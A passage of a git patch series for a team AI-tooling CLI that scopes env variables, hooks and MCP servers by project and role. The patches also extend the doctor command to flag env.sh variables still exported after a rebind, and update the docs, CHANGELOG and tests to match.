+ + if (known === null || known.length === 0) { + if (axis === 'projects') { + warnOnce( + `${file}:projects:`, + `projects: ${MANIFEST_FILE.projects} defines no projects, so the "projects:" ids on ${scoped.length} ` + + `${file} ${scoped.length === 1 ? 'entry' : 'entries'} cannot be checked, and every directory bound ` + + 'to no project receives them. Define the projects there, or drop the key.', + ); } + continue; } - } - const projectScoped = scoped.filter((entry) => entry.projects?.length); - if (projectScoped.length === 0) return; - - const manifest = await loadProjectsManifest(repoPath).catch(() => null); - const knownProjects = manifest ? listProjectIds(manifest) : []; - if (knownProjects.length === 0) { - warnOnce( - `${file}:projects:`, - `projects: manifest/projects.yaml defines no projects, so the "projects:" ids on ${projectScoped.length} ` - + `${file} ${projectScoped.length === 1 ? 'entry' : 'entries'} cannot be checked, and every directory bound ` - + 'to no project receives them. Define the projects there, or drop the key.', - ); - return; - } - - const known = new Set(knownProjects); - for (const entry of projectScoped) { - for (const project of entry.projects ?? []) { - if (known.has(project)) continue; - warnOnce( - `${file}:projects:${project}`, - `projects: unknown project id "${project}" in ${file} ${entry.kind} "${entry.name}". Valid projects: ${knownProjects.join(', ')}`, - ); + for (const entry of scoped) { + for (const id of entry[axis] ?? []) { + if (known.includes(id)) continue; + warnOnce( + `${file}:${axis}:${id}`, + `${axis}: unknown ${axis === 'roles' ? 'role' : 'project'} id "${id}" in ${file} ${entry.kind} ` + + `"${entry.name}". Valid ${axis}: ${known.join(', ')}`, + ); + } } } } diff --git a/src/pull.ts b/src/pull.ts index fe2073258..0f00c2209 100644 --- a/src/pull.ts +++ b/src/pull.ts @@ -1073,7 +1073,20 @@ async function pullForScope( // member: a variable can carry `roles:`/`projects:`. Report the delivered // number, and name the declared one when they differ so a member who // expected a variable can see it was scoped away rather than lost. - const deliverable = await envHandler.countDeliverableEnvVars(items[0].sourcePath, localConfig); + // + // Resolved here rather than inside pullItem so `--dry-run` warns about an + // unknown role or project id too. Checking a scoping edit is exactly what + // a maintainer runs --dry-run for, and hooks and MCP already warn there. + const { resolveDeliverableEnvVariables } = await import('./resources/env.js'); + const { resolveMembership, warnUnknownMembershipIds } = await import('./membership.js'); + const declaredVars = (await envHandler.readEnvYaml(items[0].sourcePath)); + const declared = declaredVars.ok ? declaredVars.variables : []; + await warnUnknownMembershipIds( + localConfig.repo.localPath, + 'env.yaml', + declared.map((v) => ({ kind: 'variable', name: v.key, roles: v.roles, projects: v.projects })), + ); + const deliverable = resolveDeliverableEnvVariables(declared, resolveMembership(localConfig)).length; const countLabel = deliverable === varCount ? `${varCount} env variable(s)` : `${deliverable} of ${varCount} env variable(s)`; diff --git a/src/resources/env.ts b/src/resources/env.ts index 70a487b21..7028ad43b 100644 --- a/src/resources/env.ts +++ b/src/resources/env.ts @@ -274,11 +274,9 @@ export class EnvHandler extends ResourceHandler { // declares variables none of which reach this member must still get an // env.sh written (an empty one), because that is what REMOVES the variables // an earlier pull had given them. - await warnUnknownMembershipIds( - localConfig.repo.localPath, - 'env.yaml', - envConfig.variables.map((v) => ({ kind: 'variable', name: v.key, roles: v.roles, projects: v.projects })), - ); + // + // The unknown-id warning belongs to `pullForScope`, not here, so that + // `--dry-run` reports it as well (this method never runs on that path). const variables = resolveDeliverableEnvVariables(envConfig.variables, resolveMembership(localConfig)); // Write the machine-local KEY=VALUE backup (for loadEnvFile / buildVarTable). @@ -323,19 +321,6 @@ export class EnvHandler extends ResourceHandler { } } - /** - * How many of the declared variables actually reach this member and directory. - * - * Separate from `countEnvVars`, which answers what the TEAM declares and gates - * the #662 shape probe. This one is what the pull summary line reports, so a - * member scoped to one of three variables is not told three were synced. - */ - async countDeliverableEnvVars(sourcePath: string, localConfig: LocalConfig): Promise { - const read = await this.readEnvYaml(sourcePath); - if (!read.ok) return 0; - return resolveDeliverableEnvVariables(read.variables, resolveMembership(localConfig)).length; - } - /** * Read an env.yaml and report the shape problem `describeEnvYamlShapeProblem` * detects, or `null` when the file yields a usable shape. diff --git a/src/roles.ts b/src/roles.ts index 6f00520c9..68bc0329a 100644 --- a/src/roles.ts +++ b/src/roles.ts @@ -108,6 +108,20 @@ export async function loadRolesManifest(repoPath: string): Promise { + const manifestPath = path.join(repoPath, 'manifest', 'roles.yaml'); + if (!(await readFileSafe(manifestPath))) return null; + return loadRolesManifest(repoPath); +} + export async function saveRolesManifest(repoPath: string, manifest: RolesManifest): Promise { // Re-validate before writing to prevent persisting invalid manifests validateManifestShape(manifest); From c159f7b0de69c563f399427ab11e1cb66a69c662 Mon Sep 17 00:00:00 2001 From: Saul Moro Date: Tue, 22 Sep 2026 02:12:02 +0200 Subject: [PATCH 09/12] docs: state the empty-list and missing-manifest rules precisely Two claims the spec review caught, both inherited from the roles docs rather than introduced here. "`roles: []` ships to nobody" has never been the whole rule. matchesRoles returns true when the member's axis is null, and roles.test.ts asserts exactly that on main, so an entry scoped `[]` still reaches a member who has not configured that axis. The guide now says the rule holds among members who use the axis, and points at `tools: []` for reaching no one at all. The behaviour is untouched: changing it would alter shipped #563 semantics, which is a call for the maintainers rather than a detail of this issue. The missing-manifest sentence claimed the key stops restricting. It does not. A directory's active projects come from its own config.yaml, so a directory bound to billing still filters out a projects: [checkout] entry with no manifest present. What the manifest provides is id validation. --- docs/usage-guide.md | 8 ++++++-- docs/usage-guide.zh-CN.md | 8 ++++++-- 2 files changed, 12 insertions(+), 4 deletions(-) diff --git a/docs/usage-guide.md b/docs/usage-guide.md index 48c303a1e..e314a7365 100644 --- a/docs/usage-guide.md +++ b/docs/usage-guide.md @@ -759,7 +759,7 @@ variables: roles: [devops] # optional; default is every member ``` -`roles` and `projects` follow the same rule as on MCP servers and hooks: omitted reaches everyone, `[]` reaches nobody, an axis the member has not configured filters nothing, and the two compose as **AND**. A variable that no longer matches is removed from `env.sh` on the next pull, so changing role or running `teamai projects set` takes it out of the member's shell. `teamai env add` on an existing key keeps whatever `roles:`/`projects:` it already carries. +`roles` and `projects` follow the same rule as on MCP servers and hooks: omitted reaches everyone, `[]` reaches nobody among members who use that axis, an axis the member has not configured filters nothing, and the two compose as **AND**. A variable that no longer matches is removed from `env.sh` on the next pull, so changing role or running `teamai projects set` takes it out of the member's shell. `teamai env add` on an existing key keeps whatever `roles:`/`projects:` it already carries. `pull` reports what reached this member, naming the declared total when the two differ (`Synced 1 of 3 env variable(s)`), so a variable that was scoped away is distinguishable from one that was lost. @@ -805,7 +805,11 @@ servers: `roles` lists role ids from `manifest/roles.yaml`. A server ships to a member when one of their roles (`primaryRole` or `additionalRoles`) is listed; `roles: []` ships to nobody, the same way `tools: []` does. A member with no role configured receives every server, matching the unfiltered fallback skills and rules use. When a member changes role, servers that no longer match are removed on the next pull. Hand-added servers are never touched. An id that is not in `roles.yaml` produces one warning per pull. A teamai release older than this field ignores it and installs the server for everyone. -`projects` lists project ids from `manifest/projects.yaml` and follows the same rule on the other axis: a server ships to a directory when one of the projects it is bound to (`teamai projects set`) is listed; `projects: []` ships to nobody; a directory bound to no project receives every server. `teamai projects set` to another project removes the ones that no longer match on the next pull. An id that is not in `projects.yaml` produces one warning per pull, and so does a `projects:` key in a team that has no `projects.yaml` at all — there the key restricts nothing and every member receives the server. +`projects` lists project ids from `manifest/projects.yaml` and follows the same rule on the other axis: a server ships to a directory when one of the projects it is bound to (`teamai projects set`) is listed; `projects: []` ships to nobody; a directory bound to no project receives every server. `teamai projects set` to another project removes the ones that no longer match on the next pull. An id that is not in `projects.yaml` produces one warning per pull, and so does a `projects:` key in a team that has no `projects.yaml` at all, where no id can be checked. + +One caveat on the empty list, which applies to `roles: []` just as it always has. "Ships to nobody" holds among members who use that axis. A member who has not configured it at all is unfiltered and still receives the entry, because an unconfigured axis filters nothing. Use `tools: []` or remove the entry if you need it to reach no one at all. + +A missing `projects.yaml` does not switch the key off. A directory's active projects come from its own `config.yaml`, so a directory bound to `billing` still filters out a `projects: [checkout]` server whether or not the manifest is there. What the manifest gives you is the ability to check the ids. The two axes are independent and compose as **AND**: `roles: [frontend]` with `projects: [checkout]` reaches frontend members of checkout, not everyone on either. That is the same way `tools:` and `roles:` already compose, and deliberately not the union that role and project *resource namespaces* take — which answers the different question of which directories to sync. diff --git a/docs/usage-guide.zh-CN.md b/docs/usage-guide.zh-CN.md index 34dcbac80..bbfba3c17 100644 --- a/docs/usage-guide.zh-CN.md +++ b/docs/usage-guide.zh-CN.md @@ -732,7 +732,7 @@ variables: roles: [devops] # 可选；默认所有成员 ``` -`roles` 与 `projects` 的规则与 MCP server、hooks 完全一致：省略时对所有人生效，`[]` 对任何人都不生效，成员未配置的那个维度不产生过滤，两者以 **AND** 组合。不再匹配的变量会在下一次 pull 时从 `env.sh` 中移除，因此切换角色或执行 `teamai projects set` 会把它从成员的 shell 中撤掉。对已存在的 key 执行 `teamai env add` 会保留它原有的 `roles:`/`projects:`。 +`roles` 与 `projects` 的规则与 MCP server、hooks 完全一致：省略时对所有人生效，`[]` 对使用了该维度的成员都不生效，成员未配置的那个维度不产生过滤，两者以 **AND** 组合。不再匹配的变量会在下一次 pull 时从 `env.sh` 中移除，因此切换角色或执行 `teamai projects set` 会把它从成员的 shell 中撤掉。对已存在的 key 执行 `teamai env add` 会保留它原有的 `roles:`/`projects:`。 `pull` 报告的是实际送达该成员的数量，与声明总数不同时会同时给出总数（`Synced 1 of 3 env variable(s)`），以便区分"被维度过滤掉"和"丢失"。 @@ -778,7 +778,11 @@ servers: `roles` 填写 `manifest/roles.yaml` 中的角色 id。成员的任一角色（`primaryRole` 或 `additionalRoles`）被列出时才会安装该 server；`roles: []` 对任何人都不安装，与 `tools: []` 一致。未配置角色的成员会收到全部 server，与 skills、rules 的无过滤回退一致。成员切换角色后，不再匹配的 server 会在下一次 pull 时移除，手动添加的 server 不受影响。`roles.yaml` 中不存在的 id 每次 pull 只提示一次。不支持该字段的旧版 teamai 会忽略它并为所有人安装。 -`projects` 填写 `manifest/projects.yaml` 中的项目 id，在另一个维度上遵循同一条规则：目录通过 `teamai projects set` 绑定的任一项目被列出时才会安装该 server；`projects: []` 对任何人都不安装；未绑定任何项目的目录会收到全部 server。`teamai projects set` 切换到其他项目后，不再匹配的 server 会在下一次 pull 时移除。`projects.yaml` 中不存在的 id 每次 pull 只提示一次；团队根本没有 `projects.yaml` 时同样会提示——此时该 key 不产生任何限制，所有成员都会收到该 server。 +`projects` 填写 `manifest/projects.yaml` 中的项目 id，在另一个维度上遵循同一条规则：目录通过 `teamai projects set` 绑定的任一项目被列出时才会安装该 server；`projects: []` 对任何人都不安装；未绑定任何项目的目录会收到全部 server。`teamai projects set` 切换到其他项目后，不再匹配的 server 会在下一次 pull 时移除。`projects.yaml` 中不存在的 id 每次 pull 只提示一次；团队根本没有 `projects.yaml` 时同样会提示，因为此时无法校验任何 id。 + +空列表有一个需要注意的点，它对 `roles: []` 一直同样适用：“对任何人都不安装”指的是使用了该维度的成员。完全未配置该维度的成员不受过滤，仍会收到该条目。如果需要它对所有人都不生效，请用 `tools: []` 或直接删掉该条目。 + +缺少 `projects.yaml` 并不会关掉这个 key。目录的活动项目来自它自己的 `config.yaml`，所以无论清单是否存在，绑定到 `billing` 的目录依然会过滤掉 `projects: [checkout]` 的 server。清单提供的是校验 id 的能力。 两个维度互相独立，并以 **AND** 组合：`roles: [frontend]` 与 `projects: [checkout]` 同时出现时，只分发给 checkout 上的 frontend 成员，而不是两者的并集。这与 `tools:` 和 `roles:` 现有的组合方式一致，也有意区别于角色与项目**资源命名空间**取并集的行为——后者回答的是"同步哪些目录"这个不同的问题。 From 35367a5d970f84ea5f9f94f780719b44eaf2648c Mon Sep 17 00:00:00 2001 From: Saul Moro Date: Tue, 22 Sep 2026 07:09:32 +0200 Subject: [PATCH 10/12] fix(doctor): report a withheld env variable that env.sh still exports After 'teamai projects set' or a role change, env.sh keeps exporting the previous project's variables until the next pull rewrites it. doctor returned success before reading the file whenever the member was scoped out of every variable, so those secrets stayed live in every new shell behind a passing 'Env variables injected in shell profile'. The check now parses env.sh whenever it exists and reports every variable env.yaml declares but no longer delivers to this directory, beside the missing and stale ones. Nothing deliverable and no env.sh is still a pass: nothing is owed and nothing was left behind. CHANGELOG: a projects: key with no projects manifest still filters against the directory's config.yaml ids; only their validation is lost. --- CHANGELOG.md | 2 +- docs/usage-guide.md | 2 +- docs/usage-guide.zh-CN.md | 2 +- src/__tests__/doctor-env-delivery.test.ts | 39 +++++++++++++++++++ .../e2e/project-scoped-delivery.test.ts | 8 ++++ src/doctor-delivery.ts | 23 +++++++++-- 6 files changed, 69 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2f7b5cab0..1a3e06657 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,7 +6,7 @@ All notable changes to this project will be documented in this file. See [standa ### ✨ Features -- Hooks, MCP servers and env variables can be scoped by logical project, the second membership axis they lacked. A `hooks/hooks.yaml` hook and an `mcp/mcp.yaml` server accept an optional `projects:` list beside `roles:`, and an `env/env.yaml` variable accepts both. An entry reaches a member when one of the projects its directory is bound to (`teamai projects set`) is listed; `projects: []` reaches nobody, and a directory bound to no project keeps receiving every entry, so nothing changes until a maintainer adds the key. The two axes compose as AND, the way `tools:` and `roles:` already do, so `roles: [frontend] projects: [checkout]` reaches frontend members of checkout rather than everyone on either. Rebinding with `teamai projects set` removes the previous project's entries on the next pull — for env that means the variable leaves `env.sh`, and `teamai doctor` applies the same filter, so a variable correctly withheld is not reported as undelivered. An id that `manifest/projects.yaml` does not define produces one warning per pull, and so does a `projects:` key in a team with no projects manifest, where it restricts nothing. `teamai mcp list`, `teamai hooks list` and `teamai env list` show the restriction, and `pull` reports `Synced 1 of 3 env variable(s)` when scoping withheld some. This is what the keys exist to control: a team with five projects and three MCP servers each gave every member of a role fifteen server processes and fifteen tool lists in the context of every session (for [#668](https://github.com/Tencent/teamai-cli/issues/668)). +- Hooks, MCP servers and env variables can be scoped by logical project, the second membership axis they lacked. A `hooks/hooks.yaml` hook and an `mcp/mcp.yaml` server accept an optional `projects:` list beside `roles:`, and an `env/env.yaml` variable accepts both. An entry reaches a member when one of the projects its directory is bound to (`teamai projects set`) is listed; `projects: []` reaches nobody, and a directory bound to no project keeps receiving every entry, so nothing changes until a maintainer adds the key. The two axes compose as AND, the way `tools:` and `roles:` already do, so `roles: [frontend] projects: [checkout]` reaches frontend members of checkout rather than everyone on either. Rebinding with `teamai projects set` removes the previous project's entries on the next pull — for env that means the variable leaves `env.sh`, and `teamai doctor` applies the same filter, so a variable correctly withheld is not reported as undelivered, while one that `env.sh` still exports after a rebind is reported until the next pull rewrites the file. An id that `manifest/projects.yaml` does not define produces one warning per pull, and so does a `projects:` key in a team with no projects manifest: the key still filters against the ids in the directory's `config.yaml`, but nothing can validate them. `teamai mcp list`, `teamai hooks list` and `teamai env list` show the restriction, and `pull` reports `Synced 1 of 3 env variable(s)` when scoping withheld some. This is what the keys exist to control: a team with five projects and three MCP servers each gave every member of a role fifteen server processes and fifteen tool lists in the context of every session (for [#668](https://github.com/Tencent/teamai-cli/issues/668)). - `teamai doctor` now checks what landed for every resource, not only skills and docs. `Rules delivered to ` and `Agents delivered to ` ask the resource handler where an item lands — a rule's filename and content change per tool, an agent's destination comes from its render and its `targets:` — and compare a delivered rule with the bytes the handler renders for that tool, so a `.mdc` whose `globs` drifted from the team rule's `paths:` is reported rather than passing on the presence of its frontmatter keys. An agent is compared with the bytes its render produces, so a copy left behind by an older spec is reported rather than counted as delivered. `Every team agent reaches a tool` names an agent that renders for no installed tool, and is reported whenever a tool is installed to receive agents, including when no agent renders anywhere. Two tools do not read a rules directory and get a check each: `Team rules are active in opencode` fails when `opencode.json` stops listing the glob that makes the delivered `.md` files load at all, and `Team rules are inlined in Hermes SOUL.md` compares the managed block of `SOUL.md` with what the team rules inline to. `MCP servers delivered to ` compares each server the team resolves for a tool with the entry in that tool's own config — the entry, not the name, since reconciliation leaves an entry teamai does not own alone, so an unrelated server under a team name holds the key while the team's definition never arrives — and names any the reconcile skipped with its reason, so an unresolved `${VAR}` is reported with the variable instead of being mentioned once during a pull and never again. An `mcp.yaml` that does not parse is reported as `Team MCP servers can be read` rather than read as a team shipping no MCP at all. `Env variables injected in shell profile` stops at the marker comment no longer: it checks that `env/env.yaml` parses and declares its variables under `variables:` (an explicit `variables: []` is an empty configuration and fails nothing), that each reached `env.sh` with the declared value — read back through the generator's own inverse, so a multiline value quoted across several lines is matched rather than reported stale — and that the injected block would actually load it. The two expensive registries, rules and agents, are built for `teamai doctor` only, so the checks at the end of a pull keep their budget (for [#624](https://github.com/Tencent/teamai-cli/issues/624)). - A manual `teamai pull` ends by running the `teamai doctor` checks and printing each one that failed, with its fix. It prints nothing when they all pass, the exit code is unchanged, and the SessionStart hook path (`--silent`) and `--dry-run` run no checks, so session startup is untouched. Provider authentication checks are left to `teamai doctor`: the pull just used the provider. So is any check that pull already reported in its own words on that run — the queued-learnings warning is not immediately repeated as a check telling you to run the pull you just ran. A check the pull stayed silent about is still printed (for [#598](https://github.com/Tencent/teamai-cli/issues/598)). diff --git a/docs/usage-guide.md b/docs/usage-guide.md index e314a7365..4819c287d 100644 --- a/docs/usage-guide.md +++ b/docs/usage-guide.md @@ -759,7 +759,7 @@ variables: roles: [devops] # optional; default is every member ``` -`roles` and `projects` follow the same rule as on MCP servers and hooks: omitted reaches everyone, `[]` reaches nobody among members who use that axis, an axis the member has not configured filters nothing, and the two compose as **AND**. A variable that no longer matches is removed from `env.sh` on the next pull, so changing role or running `teamai projects set` takes it out of the member's shell. `teamai env add` on an existing key keeps whatever `roles:`/`projects:` it already carries. +`roles` and `projects` follow the same rule as on MCP servers and hooks: omitted reaches everyone, `[]` reaches nobody among members who use that axis, an axis the member has not configured filters nothing, and the two compose as **AND**. A variable that no longer matches is removed from `env.sh` on the next pull, so changing role or running `teamai projects set` takes it out of the member's shell. Until that pull runs, `teamai doctor` reports a withheld variable that `env.sh` still exports, so the previous project's secrets are not left live in silence. `teamai env add` on an existing key keeps whatever `roles:`/`projects:` it already carries. `pull` reports what reached this member, naming the declared total when the two differ (`Synced 1 of 3 env variable(s)`), so a variable that was scoped away is distinguishable from one that was lost. diff --git a/docs/usage-guide.zh-CN.md b/docs/usage-guide.zh-CN.md index bbfba3c17..1ad4e8249 100644 --- a/docs/usage-guide.zh-CN.md +++ b/docs/usage-guide.zh-CN.md @@ -732,7 +732,7 @@ variables: roles: [devops] # 可选；默认所有成员 ``` -`roles` 与 `projects` 的规则与 MCP server、hooks 完全一致：省略时对所有人生效，`[]` 对使用了该维度的成员都不生效，成员未配置的那个维度不产生过滤，两者以 **AND** 组合。不再匹配的变量会在下一次 pull 时从 `env.sh` 中移除，因此切换角色或执行 `teamai projects set` 会把它从成员的 shell 中撤掉。对已存在的 key 执行 `teamai env add` 会保留它原有的 `roles:`/`projects:`。 +`roles` 与 `projects` 的规则与 MCP server、hooks 完全一致：省略时对所有人生效，`[]` 对使用了该维度的成员都不生效，成员未配置的那个维度不产生过滤，两者以 **AND** 组合。不再匹配的变量会在下一次 pull 时从 `env.sh` 中移除，因此切换角色或执行 `teamai projects set` 会把它从成员的 shell 中撤掉。在那次 pull 之前，`teamai doctor` 会报告 `env.sh` 中仍在导出、但已不再下发的变量，前一个项目的密钥不会悄无声息地继续生效。对已存在的 key 执行 `teamai env add` 会保留它原有的 `roles:`/`projects:`。 `pull` 报告的是实际送达该成员的数量，与声明总数不同时会同时给出总数（`Synced 1 of 3 env variable(s)`），以便区分"被维度过滤掉"和"丢失"。 diff --git a/src/__tests__/doctor-env-delivery.test.ts b/src/__tests__/doctor-env-delivery.test.ts index 3764d7a7a..5ca34cd8e 100644 --- a/src/__tests__/doctor-env-delivery.test.ts +++ b/src/__tests__/doctor-env-delivery.test.ts @@ -364,4 +364,43 @@ describe('doctor — env variables reach a shell', () => { expect(await (await envCheck()).check()).toBe(true); }); + + // PR #700 review: after `teamai projects set`, the previous project's secrets + // sit in env.sh until the next pull rewrites it. A member scoped out of every + // variable must not get a pass while env.sh still exports the old ones. + it('reports a withheld variable that env.sh still exports when nothing is deliverable', async () => { + await writeEnvYaml('variables:\n - key: BILLING_URL\n value: "b"\n projects: [billing]\n'); + vi.mocked(loadLocalConfig).mockResolvedValue({ ...localConfig, projects: ['checkout'] }); + await writeEnvSh("export BILLING_URL='b'\n"); + await writeProfile(`[ -f ${envShPath} ] && source ${envShPath}`); + + const check = await envCheck(); + expect(await check.check()).toBe(false); + expect(check.fix).toContain('BILLING_URL'); + expect(check.fix).toContain('no longer delivers'); + expect(check.fix).not.toContain("'b'"); + }); + + it('reports a withheld variable left in env.sh beside the delivered ones', async () => { + await writeEnvYaml( + 'variables:\n' + + ' - key: CHECKOUT_URL\n value: "c"\n projects: [checkout]\n' + + ' - key: BILLING_URL\n value: "b"\n projects: [billing]\n', + ); + vi.mocked(loadLocalConfig).mockResolvedValue({ ...localConfig, projects: ['checkout'] }); + await writeEnvSh("export CHECKOUT_URL='c'\nexport BILLING_URL='b'\n"); + await writeProfile(`[ -f ${envShPath} ] && source ${envShPath}`); + + const check = await envCheck(); + expect(await check.check()).toBe(false); + expect(check.fix).toContain('BILLING_URL'); + expect(check.fix).not.toContain('CHECKOUT_URL'); + }); + + it('passes when every variable is scoped away and env.sh was never written', async () => { + await writeEnvYaml('variables:\n - key: BILLING_URL\n value: "b"\n projects: [billing]\n'); + vi.mocked(loadLocalConfig).mockResolvedValue({ ...localConfig, projects: ['checkout'] }); + + expect(await (await envCheck()).check()).toBe(true); + }); }); diff --git a/src/__tests__/e2e/project-scoped-delivery.test.ts b/src/__tests__/e2e/project-scoped-delivery.test.ts index 14b31bf5c..aa3524f0b 100644 --- a/src/__tests__/e2e/project-scoped-delivery.test.ts +++ b/src/__tests__/e2e/project-scoped-delivery.test.ts @@ -255,6 +255,14 @@ describe('project-scoped hooks, MCP servers and env variables via the real CLI ( const setBilling = await runCLI(['projects', 'set', 'billing'], projectRoot, home); expect(setBilling.code, setBilling.output).toBe(0); + // Between the rebind and the pull, env.sh still exports checkout's + // variable. doctor must say so rather than pass on "nothing owed": the + // previous project's secrets are live in every new shell until the pull. + const doctorBeforePull = await runCLI(['doctor'], projectRoot, home); + expect(doctorBeforePull.code, doctorBeforePull.output).toBe(1); + expect(doctorBeforePull.output).toContain('still exports CHECKOUT_URL'); + expect(doctorBeforePull.output).not.toContain('still exports SHARED_URL'); + const pullBilling = await runCLI(['pull', '--force'], projectRoot, home); expect(pullBilling.code, pullBilling.output).toBe(0); diff --git a/src/doctor-delivery.ts b/src/doctor-delivery.ts index 34e50bf0b..bade66ed3 100644 --- a/src/doctor-delivery.ts +++ b/src/doctor-delivery.ts @@ -565,18 +565,23 @@ async function envDeliveryProblems( const { resolveDeliverableEnvVariables } = await import('./resources/env.js'); const { resolveMembership } = await import('./membership.js'); const declared = resolveDeliverableEnvVariables(read.variables, resolveMembership(localConfig)); + // The variables the filter withheld. `pull` rewrites env.sh from the + // deliverable set, so one of these still exported means the file predates a + // rebind (`teamai projects set`) or a role change, and the previous + // project's secrets are live in every new shell until the next pull. + const deliverable = new Set(declared.map((variable) => variable.key)); + const withheld = read.variables.filter((variable) => !deliverable.has(variable.key)); const problems: string[] = []; - // Nothing reaches this member and nothing is malformed: there is nothing to - // deliver, so there is nothing to report missing. - if (declared.length === 0) return none; - // env.sh lives under teamaiHome, which is /.teamai in project // scope and ~/.teamai in user scope — mirror the path that `teamai pull` // actually writes to, not a hardcoded user-home path. const envShPath = path.join(getDataHome(localConfig), 'env.sh'); const envSh = await readFileSafe(envShPath); if (envSh === null) { + // Nothing reaches this member and nothing was ever written: there is + // nothing to deliver, so there is nothing to report missing. + if (declared.length === 0) return none; problems.push(`${envShPath} is missing`); } else { // Read the file back through the generator's own inverse, value included: @@ -599,6 +604,16 @@ async function envDeliveryProblems( `${envShPath} has a stale value for ${nameList(stale)}: env.yaml declares a different one`, ); } + const leftover = withheld.filter((variable) => delivered.has(variable.key)).map((variable) => variable.key); + if (leftover.length > 0) { + problems.push( + `${envShPath} still exports ${nameList(leftover)}, which env.yaml no longer delivers to this ` + + 'directory (its roles: or projects: do not match)', + ); + } + // Nothing is owed, so the profile block has nothing to load: a leftover is + // the only thing that can be wrong here. + if (declared.length === 0) return { problems, staleProfiles: [] }; } // Same resolution the injection runs, not a second copy of it. Expanded From 743673f87e395521a07cb0abfd8ba258fa2fdf25 Mon Sep 17 00:00:00 2001 From: Saul Moro Date: Tue, 22 Sep 2026 08:11:09 +0200 Subject: [PATCH 11/12] fix(env): re-deliver env on the revision fast path, and report a manifest that cannot be read `pullForScope` returns early when the team repo revision matches the last pull, and env is delivered inside the loop that return skips. Hooks and MCP reconcile outside `pullForScope`, so a scoping change reaches them on every pull; env did not. A machine upgrading from a CLI that ignored `roles:` and `projects:` on env variables kept the withheld variables exported until `--force` or a repo change. The fast path now runs the env delivery beside the env.yaml shape check it already ran, rewriting `env.sh` from the filtered set. That delivery now runs on every session start, so `injectShellProfile` leaves an unchanged shell profile alone instead of rewriting it each time. `loadRolesManifestIfPresent` and `loadProjectsManifest` read through `readFileSafe`, which folds a permission or I/O failure into "no manifest". Both read through a new `readFileIfExists`, which returns null on ENOENT alone and throws otherwise, so a manifest that cannot be read is reported rather than treated as a team without one. Rows: the fast path in pull-skip-sync and the project-scoped-delivery e2e through the compiled CLI, the read failure in roles.test and projects.test, the untouched profile in env-handler.test. --- CHANGELOG.md | 2 +- docs/usage-guide.md | 2 +- docs/usage-guide.zh-CN.md | 2 +- src/__tests__/doctor.test.ts | 2 + .../e2e/project-scoped-delivery.test.ts | 13 ++++++ src/__tests__/env-handler.test.ts | 21 +++++++++ src/__tests__/projects.test.ts | 16 ++++++- src/__tests__/pull-skip-sync.test.ts | 36 +++++++++++++++ src/__tests__/roles.test.ts | 30 ++++++++++++- src/projects.ts | 8 ++-- src/pull.ts | 44 ++++++++++++------- src/resources/env.ts | 7 ++- src/roles.ts | 6 ++- src/utils/fs.ts | 15 +++++++ 14 files changed, 176 insertions(+), 28 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1a3e06657..4ed03095c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,7 +6,7 @@ All notable changes to this project will be documented in this file. See [standa ### ✨ Features -- Hooks, MCP servers and env variables can be scoped by logical project, the second membership axis they lacked. A `hooks/hooks.yaml` hook and an `mcp/mcp.yaml` server accept an optional `projects:` list beside `roles:`, and an `env/env.yaml` variable accepts both. An entry reaches a member when one of the projects its directory is bound to (`teamai projects set`) is listed; `projects: []` reaches nobody, and a directory bound to no project keeps receiving every entry, so nothing changes until a maintainer adds the key. The two axes compose as AND, the way `tools:` and `roles:` already do, so `roles: [frontend] projects: [checkout]` reaches frontend members of checkout rather than everyone on either. Rebinding with `teamai projects set` removes the previous project's entries on the next pull — for env that means the variable leaves `env.sh`, and `teamai doctor` applies the same filter, so a variable correctly withheld is not reported as undelivered, while one that `env.sh` still exports after a rebind is reported until the next pull rewrites the file. An id that `manifest/projects.yaml` does not define produces one warning per pull, and so does a `projects:` key in a team with no projects manifest: the key still filters against the ids in the directory's `config.yaml`, but nothing can validate them. `teamai mcp list`, `teamai hooks list` and `teamai env list` show the restriction, and `pull` reports `Synced 1 of 3 env variable(s)` when scoping withheld some. This is what the keys exist to control: a team with five projects and three MCP servers each gave every member of a role fifteen server processes and fifteen tool lists in the context of every session (for [#668](https://github.com/Tencent/teamai-cli/issues/668)). +- Hooks, MCP servers and env variables can be scoped by logical project, the second membership axis they lacked. A `hooks/hooks.yaml` hook and an `mcp/mcp.yaml` server accept an optional `projects:` list beside `roles:`, and an `env/env.yaml` variable accepts both. An entry reaches a member when one of the projects its directory is bound to (`teamai projects set`) is listed; `projects: []` reaches nobody, and a directory bound to no project keeps receiving every entry, so nothing changes until a maintainer adds the key. The two axes compose as AND, the way `tools:` and `roles:` already do, so `roles: [frontend] projects: [checkout]` reaches frontend members of checkout rather than everyone on either. Rebinding with `teamai projects set` removes the previous project's entries on the next pull — for env that means the variable leaves `env.sh`, also on a pull that finds the team repo unchanged, so a machine upgrading from a CLI that ignored the keys drops a withheld variable without `--force`; `teamai doctor` applies the same filter, so a variable correctly withheld is not reported as undelivered, while one that `env.sh` still exports after a rebind is reported until the next pull rewrites the file. An id that `manifest/projects.yaml` does not define produces one warning per pull, and so does a `projects:` key in a team with no projects manifest: the key still filters against the ids in the directory's `config.yaml`, but nothing can validate them. `teamai mcp list`, `teamai hooks list` and `teamai env list` show the restriction, and `pull` reports `Synced 1 of 3 env variable(s)` when scoping withheld some. This is what the keys exist to control: a team with five projects and three MCP servers each gave every member of a role fifteen server processes and fifteen tool lists in the context of every session (for [#668](https://github.com/Tencent/teamai-cli/issues/668)). - `teamai doctor` now checks what landed for every resource, not only skills and docs. `Rules delivered to ` and `Agents delivered to ` ask the resource handler where an item lands — a rule's filename and content change per tool, an agent's destination comes from its render and its `targets:` — and compare a delivered rule with the bytes the handler renders for that tool, so a `.mdc` whose `globs` drifted from the team rule's `paths:` is reported rather than passing on the presence of its frontmatter keys. An agent is compared with the bytes its render produces, so a copy left behind by an older spec is reported rather than counted as delivered. `Every team agent reaches a tool` names an agent that renders for no installed tool, and is reported whenever a tool is installed to receive agents, including when no agent renders anywhere. Two tools do not read a rules directory and get a check each: `Team rules are active in opencode` fails when `opencode.json` stops listing the glob that makes the delivered `.md` files load at all, and `Team rules are inlined in Hermes SOUL.md` compares the managed block of `SOUL.md` with what the team rules inline to. `MCP servers delivered to ` compares each server the team resolves for a tool with the entry in that tool's own config — the entry, not the name, since reconciliation leaves an entry teamai does not own alone, so an unrelated server under a team name holds the key while the team's definition never arrives — and names any the reconcile skipped with its reason, so an unresolved `${VAR}` is reported with the variable instead of being 